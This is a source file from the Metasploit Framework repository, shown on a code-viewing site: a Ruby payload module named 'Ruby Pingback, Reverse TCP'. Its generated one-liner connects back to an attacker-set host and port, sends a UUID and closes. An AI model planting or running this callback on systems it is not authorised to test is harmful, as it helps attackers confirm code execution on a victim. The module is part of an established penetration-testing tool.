Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/ruby/pingback_reverse_tcp.rb
19778 views
1
module MetasploitModule
2
CachedSize = 107
3
4
include Msf::Payload::Single
5
include Msf::Payload::Ruby
6
include Msf::Payload::Pingback
7
include Msf::Payload::Pingback::Options
8
9
def initialize(info = {})
10
super(
11
merge_info(
12
info,
13
'Name' => 'Ruby Pingback, Reverse TCP',
14
'Description' => 'Connect back to the attacker, sends a UUID, then terminates',
15
'Author' => 'asoto-r7',
16
'License' => MSF_LICENSE,
17
'Platform' => 'ruby',
18
'Arch' => ARCH_RUBY,
19
'Handler' => Msf::Handler::ReverseTcp,
20
'Session' => Msf::Sessions::Pingback,
21
'PayloadType' => 'ruby'
22
)
23
)
24
end
25
26
def generate(_opts = {})
27
# return prepends(ruby_string)
28
return ruby_string
29
end
30
31
def ruby_string
32
self.pingback_uuid ||= generate_pingback_uuid
33
lhost = datastore['LHOST']
34
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
35
return "require'socket';" \
36
"c=TCPSocket.new'#{lhost}',#{datastore['LPORT'].to_i};" \
37
"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}'.unpack('m0');" \
38
'c.close'
39
end
40
end
41
42